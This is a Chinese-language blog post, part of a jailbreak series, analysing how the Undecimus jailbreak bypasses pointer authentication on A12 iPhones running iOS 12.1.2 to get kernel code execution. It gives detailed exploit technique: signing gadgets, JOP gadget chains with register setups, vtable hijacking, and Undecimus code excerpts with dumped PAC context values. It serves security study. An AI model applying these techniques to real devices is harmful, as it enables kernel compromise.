iOS Jailbreak Principles - Undecimus 分析(四)繞過 A12 的 PAC 實現 kexec

Soulghost發表於2020-02-11

系列文章

  1. iOS Jailbreak Principles - Sock Port 漏洞解析(一)UAF 與 Heap Spraying
  2. iOS Jailbreak Principles - Sock Port 漏洞解析(二)通過 Mach OOL Message 洩露 Port Address
  3. iOS Jailbreak Principles - Sock Port 漏洞解析(三)IOSurface Heap Spraying
  4. iOS Jailbreak Principles - Sock Port 漏洞解析(四)The tfp0 !
  5. iOS Jailbreak Principles - Undecimus 分析(一)Escape from Sandbox
  6. iOS Jailbreak Principles - Undecimus 分析(二)通過 String XREF 定位核心資料
  7. iOS Jailbreak Principles - Undecimus 分析(三)通過 IOTrap 實現核心任意程式碼執行

前言

上一篇文章 中我們介紹了非 arm64e 下通過 IOTrap 實現 kexec 的過程。阻礙 arm64e 實現這一過程的主要因素是 PAC (Pointer Authentication Code) 緩解措施,在這一篇文章中我們將介紹 Undecimus 中繞過 PAC 機制的過程。

整個繞過過程十分複雜,本文的主要參考資料為 Examining Pointer Authentication on the iPhone XS 和 Undecimus 中與 arm64e 相關的 PAC Bypass 程式碼。

PAC 的一些特點

什麼是 PAC 這裡不再贅述,簡言之就是一種對返回地址、全域性指標等的一種簽名與驗籤保護機制,詳細定義和機制讀者可以自行查閱資料,這裡僅給出一個簡單的例子來幫助理解 PAC 實現。

下面這段程式碼中包含了一個全域性數值變數、一個基於函式指標 fptr 的動態函式呼叫,猜一下哪些值會被 PAC 保護呢?

// pac.cpp
#include <cstdio>

int g_somedata = 102;

int tram_one(int t) {
    printf("call tramp one %d\n", t);
    return 0;
}

void step_ptr(void *ptr) {
    *reinterpret_cast<void **>(ptr) = (void *)&tram_one;
}

int main(int argc, char **argv) {
    g_somedata += argc;
    void *fptr = NULL;
    step_ptr(fptr);
    (reinterpret_cast<int (*)(int)>(fptr))(g_somedata);
    return 0;
}
複製程式碼

下面我們用 clang 將 cpp 編譯連結並生成 arm64e 下的彙編程式碼:

clang -S -arch arm64e -isysroot `xcrun --sdk iphoneos --show-sdk-path` -fno-asynchronous-unwind-tables pac.cpp -o pace.s
複製程式碼

生成的完整彙編結果為:

	.section	__TEXT,__text,regular,pure_instructions
	.build_version ios, 13, 0	sdk_version 13, 0
	.globl	__Z8tram_onei           ; -- Begin function _Z8tram_onei
	.p2align	2
__Z8tram_onei:                          ; @_Z8tram_onei
	.cfi_startproc
; %bb.0:
	pacibsp
	sub	sp, sp, #32             ; =32
	stp	x29, x30, [sp, #16]     ; 16-byte Folded Spill
	add	x29, sp, #16            ; =16
	.cfi_def_cfa w29, 16
	.cfi_offset w30, -8
	.cfi_offset w29, -16
	stur	w0, [x29, #-4]
	ldur	w0, [x29, #-4]
                                        ; implicit-def: $x1
	mov	x1, x0
	mov	x8, sp
	str	x1, [x8]
	adrp	x0, l_.str@PAGE
	add	x0, x0, l_.str@PAGEOFF
	bl	_printf
	mov	w9, #0
	str	w0, [sp, #8]            ; 4-byte Folded Spill
	mov	x0, x9
	ldp	x29, x30, [sp, #16]     ; 16-byte Folded Reload
	add	sp, sp, #32             ; =32
	retab
	.cfi_endproc
                                        ; -- End function
	.globl	__Z8step_ptrPv          ; -- Begin function _Z8step_ptrPv
	.p2align	2
__Z8step_ptrPv:                         ; @_Z8step_ptrPv
; %bb.0:
	sub	sp, sp, #16             ; =16
	adrp	x8, l__Z8tram_onei$auth_ptr$ia$0@PAGE
	ldr	x8, [x8, l__Z8tram_onei$auth_ptr$ia$0@PAGEOFF]
	str	x0, [sp, #8]
	ldr	x0, [sp, #8]
	str	x8, [x0]
	add	sp, sp, #16             ; =16
	ret
                                        ; -- End function
	.globl	_main                   ; -- Begin function main
	.p2align	2
_main:                                  ; @main
	.cfi_startproc
; %bb.0:
	pacibsp
	sub	sp, sp, #64             ; =64
	stp	x29, x30, [sp, #48]     ; 16-byte Folded Spill
	add	x29, sp, #48            ; =48
	.cfi_def_cfa w29, 16
	.cfi_offset w30, -8
	.cfi_offset w29, -16
	adrp	x8, _g_somedata@PAGE
	add	x8, x8, _g_somedata@PAGEOFF
	stur	wzr, [x29, #-4]
	stur	w0, [x29, #-8]
	stur	x1, [x29, #-16]
	ldur	w0, [x29, #-8]
	ldr	w9, [x8]
	add	w9, w9, w0
	str	w9, [x8]
	mov	x8, #0
	str	x8, [sp, #24]
	ldr	x0, [sp, #24]
	bl	__Z8step_ptrPv
	adrp	x8, _g_somedata@PAGE
	add	x8, x8, _g_somedata@PAGEOFF
	ldr	x0, [sp, #24]
	ldr	w9, [x8]
	str	x0, [sp, #16]           ; 8-byte Folded Spill
	mov	x0, x9
	ldr	x8, [sp, #16]           ; 8-byte Folded Reload
	blraaz	x8
	mov	w9, #0
	str	w0, [sp, #12]           ; 4-byte Folded Spill
	mov	x0, x9
	ldp	x29, x30, [sp, #48]     ; 16-byte Folded Reload
	add	sp, sp, #64             ; =64
	retab
	.cfi_endproc
                                        ; -- End function
	.section	__DATA,__data
	.globl	_g_somedata             ; @g_somedata
	.p2align	2
_g_somedata:
	.long	102                     ; 0x66

	.section	__TEXT,__cstring,cstring_literals
l_.str:                                 ; @.str
	.asciz	"call tramp one %d\n"


	.section	__DATA,__auth_ptr
	.p2align	3
l__Z8tram_onei$auth_ptr$ia$0:
	.quad	__Z8tram_onei@AUTH(ia,0)

.subsections_via_symbols
複製程式碼

返回地址保護

這裡有幾個值得注意的地方,第一個是每個巢狀了呼叫的函式的開頭和結尾處都被插入了 PAC 指令:

__Z8tram_onei:
    pacibsp
    ; ...
    retab
複製程式碼

這裡 PAC 用 Instruction Key B 保護了函式的返回地址,有效防止了 JOP 攻擊。

再看一下全域性變數的宣告和訪問:

	.section	__DATA,__data
	.globl	_g_somedata             ; @g_somedata
	.p2align	2
_g_somedata:
	.long	102                     ; 0x66
	
	adrp	x8, _g_somedata@PAGE
	add	x8, x8, _g_somedata@PAGEOFF
	ldr	w9, [x8]
複製程式碼

可見常規的數值變數並沒有在 PAC 的保護之下。

指標保護

下面我們來看一下函式指標的賦值與呼叫:

int tram_one(int t) {
    printf("call tramp one %d\n", t);
    return 0;
}

void step_ptr(void *ptr) {
    *reinterpret_cast<void **>(ptr) = (void *)&tram_one;
}

int main(int argc, char **argv) {
    // ...
    void *fptr = NULL;
    step_ptr(fptr);
    (reinterpret_cast<int (*)(int)>(fptr))(g_somedata);
    return 0;
}
複製程式碼

首先可以看到 tram_one 函式地址這一全域性符號受到了 PAC 保護:

	.section	__DATA,__auth_ptr
	.p2align	3
l__Z8tram_onei$auth_ptr$ia$0:
	.quad	__Z8tram_onei@AUTH(ia,0)
複製程式碼

step_ptr 函式中對應的訪問程式碼:

__Z8step_ptrPv:
    ; ...
	adrp	x8, l__Z8tram_onei$auth_ptr$ia$0@PAGE
	ldr	x8, [x8, l__Z8tram_onei$auth_ptr$ia$0@PAGEOFF]
	; ...
複製程式碼

在執行 (reinterpret_cast<int (*)(int)>(fptr))(g_somedata); 呼叫時,採用了帶 PAC 驗證的指令:

_main: 
    ; ...
    ; x8 = l__Z8tram_onei$auth_ptr$ia$0
    blraaz	x8
複製程式碼

PAC 對 JOP 的影響

在上一篇文章中我們實現 kexec 的關鍵在於劫持一個虛擬函式,這裡所修改的地址有:

  1. 修改虛擬函式表的 getTargetAndTrapForIndex 指標指向 Gadget;
  2. 構造 IOTrap,其 func 指向要執行的核心函式。

不幸的是,這兩個地址都受到了 PAC 機制的保護[1],所以我們之前的 kexec 方法在 arm64e 上就失效了。以下的程式碼摘自於參考資料[1]:

loc_FFFFFFF00808FF00
    STR        XZR, [SP,#0x30+var_28]  ;; target = NULL
    LDR        X8, [X19]               ;; x19 = userClient, x8 = ->vtable
    ; 1. vtable is under protection
    AUTDZA     X8                      ;; validate vtable's PAC
    ; ...
    MOV        X0, X19                 ;; x0 = userClient
    ; 2. vtable->getTargetAndTrapForIndex is under protection
    BLRAA      X8, X9                  ;; PAC call ->getTargetAndTrapForIndex
    ; ...
    MOV        X9, #0                  ;; Use context 0 for non-virtual func
    B          loc_FFFFFFF00808FF70
    ; ...
loc_FFFFFFF00808FF70
   ; ... not set x9
   ; 3. trap->func is under protection
   BLRAA      X8, X9                  ;; PAC call func(target, p1, ..., p6)
   ; ...
複製程式碼

由上面的程式碼可知,在 arm64e 架構的 iOS 12.1.2 核心程式碼中,虛擬函式表、虛擬函式指標和 IOTrap 的函式指標都得到了 PAC 保護。

需要特別注意的是,這裡的 trap->func 呼叫所使用的 context 暫存器 X9 被寫入了 0,即 BLRAA 相當於驗簽了一個 PACIZA 簽名的地址,這是實現第一個受限 kexec 的重要突破口。

繞過 PAC 的理論分析

限制條件

在 參考資料[1] 的 write-up 中很大篇幅講述了從軟體白盒、硬體黑盒的角度對 PAC 進行的分析與繞過嘗試,並得到了如下結論:

  1. 儲存 PAC Key 的暫存器只能在 EL1 模式下訪問,而使用者態處於 EL0,無法直接訪問這些系統暫存器;
  2. 即使我們能從核心的記憶體中讀取到 PAC Key,如果不能逆向出完整的加解密過程,依然無法偽造簽名;
  3. Apple 在 EL0 和 EL1 中使用了不同的 PAC Key,這就打破了 Croess-EL PAC Forgeries;
  4. Apple 在實現 PACIA, PACIB, PACDA 和 PACDB 這些指令時採用了不同的演算法,即使全部使用相同的 Key 也會得到不同的結果,這就打破了 Cross-Key Symmetry;
  5. 雖然在軟體層面看 PAC Key 是 hardcode 的,但事實證明每次啟動 PAC Key 都會變化。

這 5 條限制每一條都刺痛著嘗試繞過 PAC 的人們的心,可見蘋果在這一方面做了非常多變態的保護企圖將 JOP 徹底解決。此外蘋果還在公開的 XNU 程式碼中刪除了與 PAC 相關的細節,並通過控制流混淆等手段阻止黑客在 kernelcache 中輕易找到可用的 Signing Gadgets。

有利條件

不得不佩服這些核心大佬的功力,即使在如此重重保護下 Brandon Azad 依然找到了 PAC 在實現上的一些軟體漏洞:

  1. PAC 在進行驗籤時,如果發現驗籤失敗,它會將 2 位 error code 插入到指標的 62~61 區域,這裡是 pointer's extension bits;
  2. PAC 在執行簽名時,如果發現指標的 extension bits 異常,它仍然會插入正確的簽名,只是會通過翻轉 PAC 的最高位 (第 62 位) 來使指標失效。

有趣的事情來了,如果我們把一個常規的地址交給 PAC 驗籤 (AUT*),那麼它會給指標的 extension bits 插入一個 error code 使其異常。此後如果再將這個值進行簽名 (PAC*),由於 error code 的存在會簽名失敗,但是正確的 PAC 依然會被計算並插入,只是指標的第 62 位被翻轉了。因此我們只要找到一個先對指標的值進行 AUT*,隨後再進行 PAC* 最後將值寫入固定記憶體的程式碼片段即可作為 Signing Gadget。

PACIZA Signing Gadget

基於上面的理論,Brandon Azad 在 arm64e 的 kernelcache 中發現了一個滿足上述有利條件的程式碼片段:

void sysctl_unregister_oid(sysctl_oid *oidp)
{
   sysctl_oid *removed_oidp = NULL;
   sysctl_oid *old_oidp = NULL;
   BOOL have_old_oidp;
   void **handler_field;
   void *handler;
   uint64_t context;
   ...
   if ( !(oidp->oid_kind & 0x400000) )         // Don't enter this if
   {
       ...
   }
   if ( oidp->oid_version != 1 )               // Don't enter this if
   {
       ...
   }
   sysctl_oid *first_sibling = oidp->oid_parent->first;
   if ( first_sibling == oidp )                // Enter this if
   {
       removed_oidp = NULL;
       old_oidp = oidp;
       oidp->oid_parent->first = old_oidp->oid_link;
       have_old_oidp = 1;
   }
   else
   {
       ...
   }
   handler_field = &old_oidp->oid_handler;
   handler = old_oidp->oid_handler;
   if ( removed_oidp || !handler )             // Take the else
   {
       ...
   }
   else
   {
       removed_oidp = NULL;
       context = (0x14EF << 48) | ((uint64_t)handler_field & 0xFFFFFFFFFFFF);
       *handler_field = ptrauth_sign_unauthenticated(
               ptrauth_auth_function(handler, ptrauth_key_asia, &context),
               ptrauth_key_asia,
               0);
       ...
   }
   ...
}
複製程式碼

可以看到在程式碼的最底部有一個 unauth 與 auth 的巢狀呼叫,先對 handler 執行 auth 即 AUT*,隨後立即執行 unauth,即 PAC*,正好滿足了 Signing Gadget 條件。另外一個重要條件是簽名結果必須寫入穩定的記憶體,使得我們能夠輕易、穩定地讀取到。這裡寫入的 handler_field 指向 old_oidp->oid_handler,繼續分析可知它來自於函式入參的 oidp

尋找 Gadget

下一步的關鍵就是如何觸發 sysctl_unregister_oid 並控制 oidp 的值。幸運的是 sysctl_oid 是被 global sysctl tree 所持有的,用於向核心中註冊引數。雖然沒有任何直接指向 sysctl_unregister_oid 的指標,但許多 kext 在啟動時會通過 sysctl 註冊引數,在結束時會通過 sysctl_unregister_oid 實現反註冊,這是一個重要的線索。

最終 Brandon Azad 在 com.apple.nke.lttp 這一 kext 中找到了一對函式 l2tp_domain_module_stopl2tp_domain_module_start,呼叫前者時會傳遞一個全域性變數 sysctl__net_ppp_l2tp 來實現反註冊,呼叫後者可以重新啟動模組,並且這對函式包含可被定位的引用,該引用是通過 Instruction Key A 無 Context 簽名的。

還記得文章開頭提到的非虛擬函式地址在進行 IOTrap->func 呼叫時也是通過 Instruction Key A 和無 Context 進行驗籤的。因此我們只需要通過 XREF 技術定位到函式地址和全域性變數地址,即可通過修改 sysctl__net_ppp_l2tp 來篡改 old_oidp->oid_handler,接下來只要找到呼叫 l2tp_domain_module_stop 的方法就可以實現對任意地址的 PACIZA 簽名了。

觸發 Gadget

似乎找到 l2tp_domain_module_stop 和找到一個 kexec 一樣困難,但事實上它比一個完整的 kexec 簡單的多,這是因為 l2tp_domain_module_stop 是無參的。我們依然可以嘗試利用 IOTrap,但這一次我們無法劫持虛擬函式,因此需要找到一個已存在的包含 IOTrap 呼叫的物件。

所幸 Brandon Azad 在 kernelcache 中找到了一個 IOAudio2DeviceUserClient 類,它預設實現了 getTargetAndTrapForIndex 並提供了一個 IOTrap:

IOExternalTrap *IOAudio2DeviceUserClient::getTargetAndTrapForIndex(
       IOAudio2DeviceUserClient *this, IOService **target, unsigned int index)
{
   ...
   *target = (IOService *)this;
   return &this->IOAudio2DeviceUserClient.traps[index];
}

IOAudio2DeviceUserClient::initializeExternalTrapTable() {
    // ...
    this->IOAudio2DeviceUserClient.trap_count = 1;
    this->IOAudio2DeviceUserClient.traps = IOMalloc(sizeof(IOExternalTrap));
    // ...
}
複製程式碼

這裡的 getTargetAndTrapForIndex 將 target 指定為自己,這使得 trap->func 呼叫的隱含引數無法修改,即通過這種方式無法傳遞 arg0,也就只能通過篡改 trap->func 實現無參函式或是程式碼塊的呼叫。

基於上述討論,整個 PACIZA Signing Gadget 的構造和呼叫過程如下:

  1. 通過 IOKit 的 userland 介面啟動一個 IOAudio2DeviceService,獲取到 IOAudio2DeviceUserClient 的 mach_port 控制程式碼;
  2. 通過控制程式碼找到其 ipc_port,其 ip_kobject 指標指向的是真正的 IOAudio2DeviceUserClient 物件。先記錄下物件地址,隨後在物件上找到 traps 地址,由於 IOAudio2DeviceUserClient 只宣告瞭一個 trap,traps 的首地址即我們要修改的 IOTrap 的地址;
  3. 通過 String XREF 技術定位 l2tp_domain_module_start, l2tp_domain_module_stopsysctl__net_ppp_l2tp 的地址,先快取原始的 sysctl_oid,隨後構造 sysctl_oid 滿足 sysctl_unregister_oid 特定的執行路徑,最後將 sysctl_oid->oid_handler 賦值為需要簽名的地址;
  4. 修改第 2 步找到的 trap,將其 func 指向 l2tp_domain_module_stop,並通過 IOConnectTrap6 觸發 IOAudio2DeviceUserClient 物件的 IOTrap->func 呼叫,這裡便實現了對 l2tp_domain_module_stop 的呼叫,隨後會執行到 sysctl_unregister_oid,並將簽名失敗的結果寫入 sysctl__net_ppp_l2tp->oid_handler,此時我們可以讀取結果,並翻轉第 62 位得到正確的簽名;
  5. 最後一步是通過 l2tp_domain_module_start 重啟服務,但這裡需要傳遞新的 sysctl_oid 作為入參,通過上面的 Primitives 是無法完成的。

清理環境

由於 IOAudio2DeviceUserClient 的 IOTrap 呼叫僅能實現無參的 kexec,我們無法在完成 PACIZA 簽名後重啟 IOAudio2DeviceUserClient 服務,這會使得 Signing Gadget 失去冪等性,或是留下其他隱患,因此必須找到一個能有參呼叫 kexec 的辦法來重啟服務。

問題的關鍵是 IOTrap->func 呼叫時 arg0 指向了 this,因此單次呼叫時肯定無法修改 arg0 了,我們這裡可以嘗試多次跳轉。所幸在 kernelcache 中有這樣的一段程式碼:

MOV         X0, X4
BR          X5
複製程式碼

由於我們通過 IOConnectTrap6 能控制 x1 ~ x6,所以通過 x4 既能間接控制 x0,x5 即是下一跳的地址,我們先讓 IOTrap->func 指向這一片段的 PACIZA'd 地址,然後通過 x4 控制 arg0,x1 ~ x3 控制 arg1 ~ arg3,x5 控制 JOP 的目標地址,即可實現一個 4 個引數的 kexec。

因此我們只需要用上面的無參呼叫去簽名一下上述程式碼塊的地址,然後將其作為 IOTrap->func 的地址,再通過 IOConnectTrap6 的入參控制 x1 ~ x5 即可實現對 l2tp_domain_module_start 的帶參呼叫,這裡傳遞的是之前備份的 sysctl_oid,從而完美的恢復現場。

到這裡,一個完美的 PACIZA Signing Gadget 就達成了,同時我們還得到了一個非常有用的程式碼片段的 PACIZA 簽名:

MOV         X0, X4
BR          X5
複製程式碼

我們將其稱為 G1,也是這是後續工作的一個重要 Gadget。

PACIA & PACDA Signing Gadget

遺憾的是許多呼叫點(例如虛擬函式)都採用了帶有 Context 的呼叫方式,例如上文中提到的片段:

context = (0x14EF << 48) | ((uint64_t)handler_field & 0xFFFFFFFFFFFF);
*handler_field = ptrauth_sign_unauthenticated(
       ptrauth_auth_function(handler, ptrauth_key_asia, &context),
       ptrauth_key_asia,
       0);
複製程式碼

這就要求我們找到包含 PACIA 和 PACDA 的程式碼塊,且他們要將簽名結果寫入穩定的記憶體。所幸這樣的 Gadget 也是存在的:

; sub_FFFFFFF007B66C48
; ...
PACIA       X9, X10
STR         X9, [X2,#0x100]
; ...
PACDA       X9, X10
STR         X9, [X2,#0xF8]
; ...
PACIBSP
STP         X20, X19, [SP,#var_20]!
...         ;; Function body (mostly harmless)
LDP         X20, X19, [SP+0x20+var_20],#0x20
AUTIBSP
MOV         W0, #0
RET
複製程式碼

這一段程式碼同時包含了 PACIA 和 PACDA,且後續都通過 STR 寫入了記憶體。唯一不足的是在執行完語句後距離 RET 還有很遠的距離,且當前入口點位於函式的中間位置。所幸函式真正的開場白位於這些指令之後:

PACIBSP
STP         X20, X19, [SP,#var_20]!
; ...
複製程式碼

所以似乎我們從中部進入函式不會有太多的不良影響,在這裡我們只需要控制 x9 作為指標,x10 作為 context,x2 控制寫入的記憶體區域,即可實現一個 PACIA & PACDA 的簽名偽造。

但是基於 IOAudio2DeviceUserClient 的 IOConnectTrap6 我們只能控制 x1 ~ x6,無法直接控制 x9 和 x10,這裡就需要我們尋找更多的 Gadget 來實現組合呼叫來控制 x9 和 x10。

隨後 Brandon Azad 在 kernelcache 中又搜尋到了幾個可利用的 Gadget,截止到目前我們總共有 3 個可用的 Gadget:

; G1
MOV         X0, X4
BR          X5

; G2
MOV         X9, X0
BR          X1

; G3
MOV         X10, X3
BR          X6
複製程式碼

G1 使我們能通過 x4 控制 x0,再通過 G2 可將 x0 寫入 x9,最後通過 G3 將 x3 寫入 x10,G1 -> G2 通過 X5 指向 G2 實現,G2 - > G3 通過 X1 指向 G3 實現,最後通過 x6 即可跳轉到包含 PACIA & PACDA 的 Gadget,此時 x2, x9, x10 均已間接填入合適的引數,因此可以完成一個 PACIA & PACDA Forgery。

上述呼叫環環相扣,且不能有任何暫存器上的重疊,否則將無法有效地準備引數,我們難以想象找到這麼一組 Gadget 耗費了多麼大的精力,在這裡向大佬致敬。基於上述討論,我們以 G1 為 IOTrap->func 的入口點,如下準備 IOConnectTrap6 的引數:

trap->func = paciza(G1);
arg1 = x1 = G3;
arg2 = x2 = buffer_to_save_pacxad_pointer;
arg3 = x3 = context;
arg4 = x4 = pointer;
arg5 = x5 = G2;
arg6 = x6 = sub_FFFFFFF007B66C48_PACXA_ENTRY
複製程式碼

這會形成一個鏈式呼叫,控制流如下:

MOV         X0, X4 
BR          X5  
MOV         X9, X0
BR          X1
MOV         X10, X3
BR          X6
PACIA       X9, X10
STR         X9, [X2,#0x100]
; ...
PACDA       X9, X10
STR         X9, [X2,#0xF8]
; ...
複製程式碼

到這裡我們就通過一系列的 Gadget 和 IOConnectTrap6 實現了 PACIA & PACDA 的 Forgery。

完美的 kexec

到這裡我們已經可以偽造 Key A 的任意簽名,但依然沒有實現完美的 kexec,此時我們還只能實現 4 個引數的 kexec,其根本原因是我們依賴於 IOAudio2DeviceUserClient 對 getTargetAndTrapForIndex 的預設實現,遺憾的是這一實現中將 target 設定為了 this 從而導致我們無法直接控制 arg0,轉向 Gadget 後則會遇到 4 個引數的限制:

IOExternalTrap *IOAudio2DeviceUserClient::getTargetAndTrapForIndex(
       IOAudio2DeviceUserClient *this, IOService **target, unsigned int index)
{
   ...
   *target = (IOService *)this;
   return &this->IOAudio2DeviceUserClient.traps[index];
}
複製程式碼

為了能實現完美的 kexec,最好的辦法依然是劫持虛擬函式,雖然 PAC 對虛擬函式表和虛擬函式指標做了簽名,但它是通過 Key A 完成的,到這裡我們已經能夠偽造這些簽名,從而再次實現虛擬函式的劫持。

修改 getTargetAndTrapForIndex 為預設實現

IOAudio2DeviceUserClient 覆蓋實現的 getTargetAndTrapForIndex 給我們帶來了麻煩,這裡我們可以將其修改為父類的預設實現:

IOExternalTrap * IOUserClient::
getTargetAndTrapForIndex(IOService ** targetP, UInt32 index)
{
      IOExternalTrap *trap = getExternalTrapForIndex(index);

      if (trap) {
              *targetP = trap->object;
      }

      return trap;
}
複製程式碼

由於 IOAudio2DeviceUserClient 的 traps 不是通過 getExternalTrapForIndex 取得的,這裡我們還需要繼續修改 getExternalTrapForIndex 方法,使其能夠返回一個構造的 IOTrap,這裡遇到的一個問題是父類預設實現為返回空值:

IOExternalTrap * IOUserClient::
getExternalTrapForIndex(UInt32 index)
{
    return NULL;
}
複製程式碼

這就需要我們在 IOUserClient 上找到一個合適的函式和成員變數,使得該函式返回成員變數或成員變數的某個引用,這樣我們就能間接地通過控制成員變數來返回特定的 IOTrap。幸運的是 IOUserClient 間接繼承了超類 IORegistryEntry,它包含了一個 reserved 成員和一個返回該成員的成員函式:

class IORegistryEntry : public OSObject
{
// ...
protected:
/*! @var reserved
    Reserved for future use.  (Internal use only)  */
    ExpansionData * reserved;

public:
    uint64_t IORegistryEntry::getRegistryEntryID( void )
    {
        if (reserved)
    	return (reserved->fRegistryEntryID);
        else
    	return (0);
    }
複製程式碼

可見我們只要將虛擬函式表中的 getExternalTrapForIndex 指向 IORegistryEntry::getRegistryEntryID,再修改 UserClient 例項的 reversed 使其 reserved->fRegistryEntryID 指向我們構造的 IOTrap 即可。

通過上述改造,我們再次獲得了一個完美的支援 7 個入參的 kexec,理論分析起來容易,要實施這一過程是十分複雜的,因為每一個虛擬函式所使用的 sign context 是不同的,這就要求 dump 出所有的 sign context 再進行處理

繞過 PAC 的程式碼導讀

經過理論分析相信讀者已經對整個繞過的過程有了整體認識,由於整個過程太過複雜,單單進行理論分析難免會讓人云裡霧裡,將上述理論分析結合閱讀 Undecimus 中的程式碼可以很好的加深理解。

這部分程式碼位於上一篇文章提到的 init_kexeckexec 兩個函式中,針對 arm64e 架構採用了完全不同的手段。鑑於本文的理論分析部分已涉及到大量的程式碼,這裡不再完整的進行分析,只說幾個理論分析中未完全提及的內容。完整的程式碼請讀者結合上述理論分析自行閱讀,相信你會有很大的收穫。

經過上面的分析相信讀者能夠輕易地理解 kernel_call_init 中的 stage1_kernel_call_initstage2_kernel_call_init,這兩個階段主要是完成 UserClient 的啟動和 G1 的簽名工作,需要注意的是在 stage2_kernel_call_init->stage1_init_kernel_pacxa_forging 的結尾處建立了一個 buffer,用來儲存新的虛擬函式表以及 PACIA & PACDA 的簽名結果:

static void
stage1_init_kernel_pacxa_forging() {
    // ...
    kernel_pacxa_buffer = stage1_get_kernel_buffer();
}
複製程式碼

此外 A12 在 iOS 12.1.2 的 PAC 機制也允許在 userland 通過 XPAC 指令直接將一個加簽的指標還原,這給我們拷貝虛擬函式錶帶來了極大的便利,這段程式碼位於 stage3_kernel_call_init 中:

uint64_t
kernel_xpacd(uint64_t pointer) {
#if __arm64e__
	return xpacd(pointer);
#else
	return pointer;
#endif
}

static uint64_t *
stage2_copyout_user_client_vtable() {
	// Get the address of the vtable.
	original_vtable = kernel_read64(user_client);
	uint64_t original_vtable_xpac = kernel_xpacd(original_vtable);
	// Read the contents of the vtable to local buffer.
	uint64_t *vtable_contents = malloc(max_vtable_size);
	assert(vtable_contents != NULL);
	kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size);
	return vtable_contents;
}
複製程式碼

在 patch 虛擬函式表時,每個函式都有其特定的 context,因此這裡使用了 dump 出來的對應於每個虛擬函式的 PAC Code,這段程式碼位於 stage2_patch_user_client_vtable 中:

static size_t
stage2_patch_user_client_vtable(uint64_t *vtable) {
// ...
#if __arm64e__
	assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count);
	vmethod = kernel_xpaci(vmethod);
	uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable);
	vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address,
			VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]);
#endif // __arm64e__
	}
	return count;
}
複製程式碼

這裡針對每個虛擬函式都採用了不同的 PAC Code,dump 出的 PAC Code 通過靜態變數儲存,並藉助巨集 VTABLE_PAC_CODES 進行訪問,這裡的每個 context 長度只有 16 位:

static void
pac__iphone11_8__16C50() {
    INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient,
    	0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
    	0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
    	0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
    	0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
    	0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
    	0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
    	0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
    	0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d
    	// ...
    );
}
複製程式碼

其他部分基本在理論分析中都已提到,這裡不再贅述。

總結

本文介紹了 PAC 緩解措施的特點以及 iOS 12.1.2 在 A12 上的繞過方法,整個過程可以說是讓人歎為觀止。通過研究整個 bypass 過程不僅讓我們對 PAC 機制有了更深刻的認識,也學到了許多 JOP 的騷操作。

iOS Jailbreak Principles - Undecimus 分析(四)繞過 A12 的 PAC 實現 kexec

參考資料

  1. Brandon Azad, Project Zero. Examining Pointer Authentication on the iPhone XS
  2. pwn20wndstuff. Undecimus

相關文章